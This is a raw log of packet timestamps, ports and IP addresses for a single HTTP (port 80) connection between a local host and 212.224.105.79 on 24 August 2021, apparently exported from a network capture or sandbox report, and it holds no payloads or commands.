Aug 24, 2021 14:01:35.796221018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796236992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796242952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796252966 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796268940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796284914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796284914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796300888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796314001 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796319962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796339989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796345949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796355009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796370983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796386957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796401978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796403885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796417952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796432972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796452045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796452999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796468019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796477079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796483994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796499968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796515942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796526909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796530962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796547890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796562910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796564102 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796581984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796588898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796600103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796612978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796616077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796627998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796643972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796648979 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796663046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796684980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796690941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796700001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796714067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796719074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796736002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796751022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796752930 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796766996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796780109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796792030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796794891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796809912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796825886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796827078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796844959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796852112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796861887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796874046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796878099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796894073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796909094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796915054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796924114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796941042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796957016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796960115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796976089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796986103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796994925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797009945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797018051 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797027111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797044039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797049046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797064066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797080040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797095060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797099113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797113895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797131062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797146082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797146082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797173023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797174931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797189951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797207117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797223091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797240973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797241926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797257900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797274113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797286034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797288895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797306061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797319889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797336102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797341108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797350883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797353983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797369957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797386885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797396898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797401905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797415018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797420025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797435999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797451019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797462940 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797466993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797481060 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797482967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797502041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797518015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797521114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797533989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797549963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797559977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797564983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797581911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797596931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797599077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797612906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797631979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797645092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797650099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797666073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797676086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797682047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797697067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797712088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797717094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797729969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797745943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797745943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797764063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797781944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797785997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797796965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797812939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797816038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797827959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797843933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797858953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797862053 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797873974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797893047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797909975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797914028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797931910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797941923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797965050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797976017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.797981024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.797997952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798012972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798027992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798043013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798048019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.798058987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798077106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798094034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798104048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.798109055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798110962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.798124075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798139095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798154116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798168898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798168898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.798183918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.798230886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821201086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821219921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821244001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821260929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821261883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821279049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821295023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821297884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821310043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821326017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821341038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821343899 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821356058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821367025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821383953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821397066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821403027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821420908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821422100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821436882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821451902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821459055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821468115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821484089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821499109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821500063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821515083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821533918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821536064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821551085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821558952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821567059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821583033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821598053 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821599007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821614981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821630955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821640015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821646929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821666956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821685076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821685076 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821701050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821717024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821732998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821748018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821749926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821763992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821779013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821796894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821798086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821815014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821831942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821832895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821846962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821862936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821868896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821877956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821892977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821894884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821908951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821927071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821944952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821945906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.821962118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821986914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.821995974 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822002888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822019100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822033882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822037935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822050095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822062016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822066069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822082043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822101116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822102070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822119951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822128057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822135925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822158098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822170019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822177887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822194099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822210073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822211027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822225094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822244883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822256088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822261095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822277069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822292089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822303057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822307110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822323084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822333097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822339058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822354078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822361946 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822372913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822390079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822396040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822406054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822421074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822426081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822438002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822453022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822468996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822480917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822484016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822504044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822520018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822535992 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822540045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822559118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822565079 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822576046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822591066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822596073 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822607040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822623014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822624922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822638035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822654009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822669029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822680950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822688103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822704077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822720051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822725058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822736025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822758913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822773933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822789907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822792053 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822807074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822824955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822840929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822840929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822856903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822873116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822874069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822889090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822904110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822911978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822920084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822937965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822945118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822957039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822973967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.822974920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.822988987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823003054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823004961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823020935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823035955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823050976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823059082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.823066950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823095083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.823110104 CEST	49723	80	192.168.2.3	212.224.105.79
